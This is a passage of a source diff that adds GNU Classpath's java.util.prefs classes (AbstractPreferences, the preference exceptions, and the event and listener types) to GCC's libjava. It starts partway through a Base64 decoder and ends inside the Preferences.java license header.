+ return null; // encoding exception + } + } + + int remaining = endchar == -1 ? c.length : endchar; + int i = 0; + while (remaining > 0) { + // Four input chars (6 bits) are decoded as three bytes as + // 000000 001111 111122 222222 + + byte b0 = (byte) (c[i] << 2); + if (remaining >= 2) { + b0 += (c[i+1] & 0x30) >> 4; + } + bs.write(b0); + + if (remaining >= 3) { + byte b1 = (byte) ((c[i+1] & 0x0F) << 4); + b1 += (byte) ((c[i+2] & 0x3C) >> 2); + bs.write(b1); + } + + if (remaining >= 4) { + byte b2 = (byte) ((c[i+2] & 0x03) << 6); + b2 += c[i+3]; + bs.write(b2); + } + + i += 4; + remaining -= 4; + } + + return bs.toByteArray(); + } + + /** + * Convenience method for getting the given entry as a double. + * When the string representation of the requested entry can be decoded + * with Double.parseDouble() then that double is returned, + * otherwise the given default double value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public double getDouble(String key, double defaultVal) { + String value = get(key, null); + + if (value != null) { + try { + return Double.parseDouble(value); + } catch (NumberFormatException nfe) { /* ignore */ } + } + + return defaultVal; + } + + /** + * Convenience method for getting the given entry as a float. + * When the string representation of the requested entry can be decoded + * with Float.parseFloat() then that float is returned, + * otherwise the given default float value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public float getFloat(String key, float defaultVal) { + String value = get(key, null); + + if (value != null) { + try { + return Float.parseFloat(value); + } catch (NumberFormatException nfe) { /* ignore */ } + } + + return defaultVal; + } + + /** + * Convenience method for getting the given entry as an integer. + * When the string representation of the requested entry can be decoded + * with Integer.parseInt() then that integer is returned, + * otherwise the given default integer value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public int getInt(String key, int defaultVal) { + String value = get(key, null); + + if (value != null) { + try { + return Integer.parseInt(value); + } catch (NumberFormatException nfe) { /* ignore */ } + } + + return defaultVal; + } + + /** + * Convenience method for getting the given entry as a long. + * When the string representation of the requested entry can be decoded + * with Long.parseLong() then that long is returned, + * otherwise the given default long value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + public long getLong(String key, long defaultVal) { + String value = get(key, null); + + if (value != null) { + try { + return Long.parseLong(value); + } catch (NumberFormatException nfe) { /* ignore */ } + } + + return defaultVal; + } + + /** + * Sets the value of the given preferences entry for this node. + * Key and value cannot be null, the key cannot exceed 80 characters + * and the value cannot exceed 8192 characters. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + *

+ * Checks that key and value are valid, locks this node, and checks that + * the node has not been removed. Then it calls putSpi(). + * + * @exception NullPointerException if either key or value are null + * @exception IllegalArgumentException if either key or value are to large + * @exception IllegalStateException when this node has been removed + */ + public void put(String key, String value) { + if (key.length() > MAX_KEY_LENGTH + || value.length() > MAX_VALUE_LENGTH) + throw new IllegalArgumentException("key (" + + key.length() + ")" + + " or value (" + + value.length() + ")" + + " to large"); + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + putSpi(key, value); + + // XXX - fire events + } + + } + + /** + * Convenience method for setting the given entry as a boolean. + * The boolean is converted with Boolean.toString(value) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void putBoolean(String key, boolean value) { + put(key, String.valueOf(value)); + // XXX - Use when using 1.4 compatible Boolean + // put(key, Boolean.toString(value)); + } + + /** + * Convenience method for setting the given entry as an array of bytes. + * The byte array is converted to a Base64 encoded string + * and then stored in the preference entry as that string. + *

+ * Note that a byte array encoded as a Base64 string will be about 1.3 + * times larger then the original length of the byte array, which means + * that the byte array may not be larger about 6 KB. + * + * @exception NullPointerException if either key or value are null + * @exception IllegalArgumentException if either key or value are to large + * @exception IllegalStateException when this node has been removed + */ + public void putByteArray(String key, byte[] value) { + put(key, encode64(value)); + } + + /** + * Helper method for encoding an array of bytes as a Base64 String. + */ + private static String encode64(byte[] b) { + StringBuffer sb = new StringBuffer((b.length/3)*4); + + int i = 0; + int remaining = b.length; + char c[] = new char[4]; + while (remaining > 0) { + // Three input bytes are encoded as four chars (6 bits) as + // 00000011 11112222 22333333 + + c[0] = (char) ((b[i] & 0xFC) >> 2); + c[1] = (char) ((b[i] & 0x03) << 4); + if (remaining >= 2) { + c[1] += (char) ((b[i+1] & 0xF0) >> 4); + c[2] = (char) ((b[i+1] & 0x0F) << 2); + if (remaining >= 3) { + c[2] += (char) ((b[i+2] & 0xC0) >> 6); + c[3] = (char) (b[i+2] & 0x3F); + } else { + c[3] = 64; + } + } else { + c[2] = 64; + c[3] = 64; + } + + // Convert to base64 chars + for(int j = 0; j < 4; j++) { + if (c[j] < 26) { + c[j] += 'A'; + } else if (c[j] < 52) { + c[j] = (char) (c[j] - 26 + 'a'); + } else if (c[j] < 62) { + c[j] = (char) (c[j] - 52 + '0'); + } else if (c[j] == 62) { + c[j] = '+'; + } else if (c[j] == 63) { + c[j] = '/'; + } else { + c[j] = '='; + } + } + + sb.append(c); + i += 3; + remaining -= 3; + } + + return sb.toString(); + } + + /** + * Convenience method for setting the given entry as a double. + * The double is converted with Double.toString(double) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void putDouble(String key, double value) { + put(key, Double.toString(value)); + } + + /** + * Convenience method for setting the given entry as a float. + * The float is converted with Float.toString(float) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void putFloat(String key, float value) { + put(key, Float.toString(value)); + } + + /** + * Convenience method for setting the given entry as an integer. + * The integer is converted with Integer.toString(int) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void putInt(String key, int value) { + put(key, Integer.toString(value)); + } + + /** + * Convenience method for setting the given entry as a long. + * The long is converted with Long.toString(long) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void putLong(String key, long value) { + put(key, Long.toString(value)); + } + + /** + * Removes the preferences entry from this preferences node. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + *

+ * This implementation checks that the key is not larger then 80 + * characters, gets the lock of this node, checks that the node has + * not been removed and calls removeSpi with the given key. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + public void remove(String key) { + if (key.length() > MAX_KEY_LENGTH) + throw new IllegalArgumentException(key); + + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node removed"); + + removeSpi(key); + } + } + + /** + * Removes all entries from this preferences node. May need access to the + * backing store to get and clear all entries. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + *

+ * This implementation locks this node, checks that the node has not been + * removed and calls keys() to get a complete array of keys + * for this node. For every key found removeSpi() is called. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + public void clear() throws BackingStoreException { + synchronized(lock) { + if (isRemoved()) + throw new IllegalStateException("Node Removed"); + + String[] keys = keys(); + for (int i = 0; i < keys.length; i++) { + removeSpi(keys[i]); + } + } + } + + /** + * Writes all preference changes on this and any subnode that have not + * yet been written to the backing store. This has no effect on the + * preference entries in this VM, but it makes sure that all changes + * are visible to other programs (other VMs might need to call the + * sync() method to actually see the changes to the backing + * store. + *

+ * Locks this node, calls the flushSpi() method, gets all + * the (cached - already existing in this VM) subnodes and then calls + * flushSpi() on every subnode with this node unlocked and + * only that particular subnode locked. + * + * @exception BackingStoreException when the backing store cannot be + * reached + */ + public void flush() throws BackingStoreException { + flushNode(false); + } + + /** + * Writes and reads all preference changes to and from this and any + * subnodes. This makes sure that all local changes are written to the + * backing store and that all changes to the backing store are visible + * in this preference node (and all subnodes). + *

+ * Checks that this node is not removed, locks this node, calls the + * syncSpi() method, gets all the subnodes and then calls + * syncSpi() on every subnode with this node unlocked and + * only that particular subnode locked. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + public void sync() throws BackingStoreException { + flushNode(true); + } + + + /** + * Private helper method that locks this node and calls either + * flushSpi() if sync is false, or + * flushSpi() if sync is true. Then it gets all + * the currently cached subnodes. For every subnode it calls this method + * recursively with this node no longer locked. + *

+ * Called by either flush() or sync() + */ + private void flushNode(boolean sync) throws BackingStoreException { + String[] keys = null; + synchronized(lock) { + if (sync) { + syncSpi(); + } else { + flushSpi(); + } + keys = (String[]) childCache.keySet().toArray(); + } + + if (keys != null) { + for (int i = 0; i < keys.length; i++) { + // Have to lock this node again to access the childCache + AbstractPreferences subNode; + synchronized(this) { + subNode = (AbstractPreferences) childCache.get(keys[i]); + } + + // The child could already have been removed from the cache + if (subNode != null) { + subNode.flushNode(sync); + } + } + } + } + + /** + * Removes this and all subnodes from the backing store and clears all + * entries. After removal this instance will not be useable (except for + * a few methods that don't throw a InvalidStateException), + * even when a new node with the same path name is created this instance + * will not be usable again. + *

+ * Checks that this is not a root node. If not it locks the parent node, + * then locks this node and checks that the node has not yet been removed. + * Then it makes sure that all subnodes of this node are in the child cache, + * by calling childSpi() on any children not yet in the cache. + * Then for all children it locks the subnode and removes it. After all + * subnodes have been purged the child cache is cleared, this nodes removed + * flag is set and any listeners are called. Finally this node is removed + * from the child cache of the parent node. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has already been removed + * @exception UnsupportedOperationException if this is a root node + */ + public void removeNode() throws BackingStoreException { + // Check if it is a root node + if (parent == null) + throw new UnsupportedOperationException("Cannot remove root node"); + + synchronized(parent) { + synchronized(this) { + if (isRemoved()) + throw new IllegalStateException("Node Removed"); + + purge(); + } + parent.childCache.remove(name); + } + } + + /** + * Private helper method used to completely remove this node. + * Called by removeNode with the parent node and this node + * locked. + *

+ * Makes sure that all subnodes of this node are in the child cache, + * by calling childSpi() on any children not yet in the + * cache. Then for all children it locks the subnode and calls this method + * on that node. After all subnodes have been purged the child cache is + * cleared, this nodes removed flag is set and any listeners are called. + */ + private void purge() throws BackingStoreException + { + // Make sure all children have an AbstractPreferences node in cache + String children[] = childrenNamesSpi(); + for (int i = 0; i < children.length; i++) { + if (childCache.get(children[i]) == null) + childCache.put(children[i], childSpi(children[i])); + } + + // purge all children + Iterator i = childCache.values().iterator(); + while (i.hasNext()) { + AbstractPreferences node = (AbstractPreferences) i.next(); + synchronized(node) { + node.purge(); + } + } + + // Cache is empty now + childCache.clear(); + + // remove this node + removeNodeSpi(); + removed = true; + + // XXX - check for listeners + } + + // listener methods + + /** + * XXX + */ + public void addNodeChangeListener(NodeChangeListener listener) { + // XXX + } + + public void addPreferenceChangeListener(PreferenceChangeListener listener) { + // XXX + } + + public void removeNodeChangeListener(NodeChangeListener listener) { + // XXX + } + + public void removePreferenceChangeListener + (PreferenceChangeListener listener) + { + // XXX + } + + // abstract spi methods + + /** + * Returns the names of the sub nodes of this preference node. + * This method only has to return any not yet cached child names, + * but may return all names if that is easier. It must not return + * null when there are no children, it has to return an empty array + * in that case. Since this method must consult the backing store to + * get all the sub node names it may throw a BackingStoreException. + *

+ * Called by childrenNames() with this node locked. + */ + protected abstract String[] childrenNamesSpi() throws BackingStoreException; + + /** + * Returns a child note with the given name. + * This method is called by the node() method (indirectly + * through the getNode() helper method) with this node locked + * if a sub node with this name does not already exist in the child cache. + * If the child node did not aleady exist in the backing store the boolean + * field newNode of the returned node should be set. + *

+ * Note that this method should even return a non-null child node if the + * backing store is not available since it may not throw a + * BackingStoreException. + */ + protected abstract AbstractPreferences childSpi(String name); + + /** + * Returns an (possibly empty) array with all the keys of the preference + * entries of this node. + *

+ * Called by keys() with this node locked if this node has + * not been removed. May throw an exception when the backing store cannot + * be accessed. + * + * @exception BackingStoreException when the backing store cannot be + * reached + */ + abstract protected String[] keysSpi() throws BackingStoreException; + + /** + * Returns the value associated with the key in this preferences node or + * null when the key does not exist in this preferences node. + *

+ * Called by key() with this node locked after checking that + * key is valid, not null and that the node has not been removed. + * key() will catch any exceptions that this method throws. + */ + abstract protected String getSpi(String key); + + /** + * Sets the value of the given preferences entry for this node. + * The implementation is not required to propagate the change to the + * backing store immediatly. It may not throw an exception when it tries + * to write to the backing store and that operation fails, the failure + * should be registered so a later invocation of flush() + * or sync() can signal the failure. + *

+ * Called by put() with this node locked after checking that + * key and value are valid and non-null. + */ + abstract protected void putSpi(String key, String value); + + /** + * Removes the given key entry from this preferences node. + * The implementation is not required to propagate the change to the + * backing store immediatly. It may not throw an exception when it tries + * to write to the backing store and that operation fails, the failure + * should be registered so a later invocation of flush() + * or sync() can signal the failure. + *

+ * Called by remove() with this node locked after checking + * that the key is valid and non-null. + */ + abstract protected void removeSpi(String key); + + /** + * Writes all entries of this preferences node that have not yet been + * written to the backing store and possibly creates this node in the + * backing store, if it does not yet exist. Should only write changes to + * this node and not write changes to any subnodes. + * Note that the node can be already removed in this VM. To check if + * that is the case the implementation can call isRemoved(). + *

+ * Called (indirectly) by flush() with this node locked. + */ + abstract protected void flushSpi() throws BackingStoreException; + + /** + * Writes all entries of this preferences node that have not yet been + * written to the backing store and reads any entries that have changed + * in the backing store but that are not yet visible in this VM. + * Should only sync this node and not change any of the subnodes. + * Note that the node can be already removed in this VM. To check if + * that is the case the implementation can call isRemoved(). + *

+ * Called (indirectly) by sync() with this node locked. + */ + abstract protected void syncSpi() throws BackingStoreException; + + /** + * Clears this node from this VM and removes it from the backing store. + * After this method has been called the node is marked as removed. + *

+ * Called (indirectly) by removeNode() with this node locked + * after all the sub nodes of this node have already been removed. + */ + abstract protected void removeNodeSpi() throws BackingStoreException; +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/BackingStoreException.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/BackingStoreException.java 2002-10-02 14:58:40.000000000 +0200 @@ -0,0 +1,104 @@ +/* BackingStoreException.java - chained exception thrown when backing store + fails + Copyright (C) 2001, 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.io.ObjectOutputStream; +import java.io.ObjectInputStream; +import java.io.NotSerializableException; + +/** + * Chained exception thrown when backing store fails. This exception is + * only thrown from methods that actually have to access the backing store, + * such as clear(), keys(), childrenNames(), nodeExists(), removeNode(), + * flush(), sync(), exportNode(), exportSubTree(); normal operations + * do not throw BackingStoreExceptions. + * + *

Note that although this class inherits the Serializable interface, an + * attempt to serialize will fail with a NotSerializableException. + * + * @author Mark Wielaard + * @since 1.4 + * @status updated to 1.4 + */ +public class BackingStoreException extends Exception +{ + static final long serialVersionUID = 859796500401108469L; + + /** + * Creates a new exception with a descriptive message. + * + * @param message the message + */ + public BackingStoreException(String message) + { + super(message); + } + + /** + * Create a new exception with the given cause. + * + * @param cause the cause + */ + public BackingStoreException(Throwable cause) + { + super(cause); + } + + /** + * This class should not be serialized. + * + * @param o the output stream + */ + private void writeObject(ObjectOutputStream o) throws NotSerializableException + { + throw new NotSerializableException + ("java.util.prefs.BackingStoreException"); + } + + /** + * This class should not be serialized. + * + * @param i the input stream + */ + private void readObject(ObjectInputStream i) throws NotSerializableException + { + throw new NotSerializableException + ("java.util.prefs.BackingStoreException"); + } +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/InvalidPreferencesFormatException.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/InvalidPreferencesFormatException.java 2002-10-02 14:58:40.000000000 +0200 @@ -0,0 +1,115 @@ +/* InvalidPreferencesFormatException - indicates reading prefs from stream + failed + Copyright (C) 2001, 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.io.ObjectOutputStream; +import java.io.ObjectInputStream; +import java.io.NotSerializableException; + +/** + * Indicates reading prefs from stream failed. Thrown by the + * importPreferences() method when the supplied input stream + * could not be read because it was not in the correct XML format. + * + *

Note that although this class inherits the Serializable interface, an + * attempt to serialize will fail with a NotSerializableException. + * + * @author Mark Wielaard + * @see Preferences + * @since 1.4 + * @status updated to 1.4 + */ +public class InvalidPreferencesFormatException extends Exception +{ + static final long serialVersionUID = -791715184232119669L; + + /** + * Creates a new exception with a descriptive message. The cause remains + * uninitialized. + * + * @param message the message + */ + public InvalidPreferencesFormatException(String message) + { + super(message); + } + + /** + * Creates a new exception with the given cause. + * + * @param cause the cause + */ + public InvalidPreferencesFormatException(Throwable cause) + { + super(cause); + } + + /** + * Creates a new exception with a descriptive message and a cause. + * + * @param message the message + * @param cause the cause + */ + public InvalidPreferencesFormatException(String message, Throwable cause) + { + super(message, cause); + } + + /** + * This class should not be serialized. + * + * @param o the output stream + */ + private void writeObject(ObjectOutputStream o) throws NotSerializableException + { + throw new NotSerializableException + ("java.util.prefs.InvalidPreferencesFormatException"); + } + + /** + * This class should not be serialized. + * + * @param i the input stream + */ + private void readObject(ObjectInputStream i) throws NotSerializableException + { + throw new NotSerializableException + ("java.util.prefs.InvalidPreferencesFormatException"); + } +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/NodeChangeEvent.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/NodeChangeEvent.java 2003-01-17 06:56:11.000000000 +0100 @@ -0,0 +1,91 @@ +/* NodeChangeEvent - ObjectEvent fired when a Preference node is added/removed + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.util.EventObject; + +/** + * ObjectEvent fired when a Preference node is added/removed. + * This event is only generated when a new subnode is added or a subnode is + * removed from a preference node. Changes in the entries of a preference node + * are indicated with a PreferenceChangeEvent. + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public class NodeChangeEvent extends EventObject { + + private static final long serialVersionUID =8068949086596572957L; + + /** + * The sub node that was added or removed. + * Defined transient just like EventObject.source since + * this object should be serializable, but Preferences is in general not + * serializable. + */ + private final transient Preferences child; + + /** + * Creates a new NodeChangeEvent. + * + * @param parentNode The source preference node from which a subnode was + * added or removed + * @param childNode The preference node that was added or removed + */ + public NodeChangeEvent(Preferences parentNode, Preferences childNode) { + super(parentNode); + child = childNode; + } + + /** + * Returns the source parent preference node from which a subnode was + * added or removed. + */ + public Preferences getParent() { + return (Preferences) source; + } + + /** + * Returns the child preference subnode that was added or removed. + * To see wether it is still a valid preference node one has to call + * event.getChild().nodeExists(""). + */ + public Preferences getChild() { + return child; + } +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/NodeChangeListener.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/NodeChangeListener.java 2002-01-22 23:27:02.000000000 +0100 @@ -0,0 +1,64 @@ +/* NodeChangeListener - EventListener for Preferences node addition/removal + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.util.EventListener; + +/** + * EventListener for Preferences node addition/removal. + *

+ * Note that these events are only generated for the addition and removal + * of sub nodes from the preference node. Entry changes in the preference + * node can be monitored with a PreferenceChangeListener. + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public interface NodeChangeListener extends EventListener { + + /** + * Fired when a sub node is added to the preference node. + */ + void childAdded(NodeChangeEvent event); + + /** + * Fired when a sub node is removed from the preference node. + */ + void childRemoved(NodeChangeEvent event); + +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/PreferenceChangeEvent.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/PreferenceChangeEvent.java 2003-01-17 06:56:54.000000000 +0100 @@ -0,0 +1,105 @@ +/* PreferenceChangeEvent - ObjectEvent fired when a Preferences entry changes + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.util.EventObject; + +/** + * ObjectEvent fired when a Preferences entry changes. + * This event is generated when a entry is added, changed or removed. + * When an entry is removed then getNewValue will return null. + *

+ * Preference change events are only generated for entries in one particular + * preference node. Notification of subnode addition/removal is given by a + * NodeChangeEvent. + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public class PreferenceChangeEvent extends EventObject { + + private static final long serialVersionUID = 793724513368024975L; + + /** + * The key of the changed entry. + */ + private final String key; + + /** + * The new value of the changed entry, or null when the entry was removed. + */ + private final String newValue; + + /** + * Creates a new PreferenceChangeEvent. + * + * @param node The source preference node for which an entry was added, + * changed or removed + * @param key The key of the entry that was added, changed or removed + * @param value The new value of the entry that was added or changed, or + * null when the entry was removed + */ + public PreferenceChangeEvent(Preferences node, String key, String value) { + super(node); + this.key = key; + this.newValue = value; + } + + /** + * Returns the source Preference node from which an entry was added, + * changed or removed. + */ + public Preferences getNode() { + return (Preferences) source; + } + + /** + * Returns the key of the entry that was added, changed or removed. + */ + public String getKey() { + return key; + } + + /** + * Returns the new value of the entry that was added or changed, or + * returns null when the entry was removed. + */ + public String getNewValue() { + return newValue; + } +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/PreferenceChangeListener.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/PreferenceChangeListener.java 2003-01-10 09:00:33.000000000 +0100 @@ -0,0 +1,60 @@ +/* PreferenceChangeListener - EventListener for Preferences entry changes + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.util.EventListener; + +/** + * EventListener for Preferences entry addition, change or removal. + *

+ * Preference change events are only generated for entries in one particular + * preference node. Notification of subnode addition/removal can be monitored + * with a NodeChangeListener. + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public interface PreferenceChangeListener extends EventListener { + + /** + * Fired when a entry has been added, changed or removed from the + * preference node. + */ + void preferenceChange(PreferenceChangeEvent event); + +} --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/Preferences.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/Preferences.java 2002-05-06 18:19:20.000000000 +0200 @@ -0,0 +1,665 @@ +/* Preferences - Preference node containing key value entries and subnodes + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this 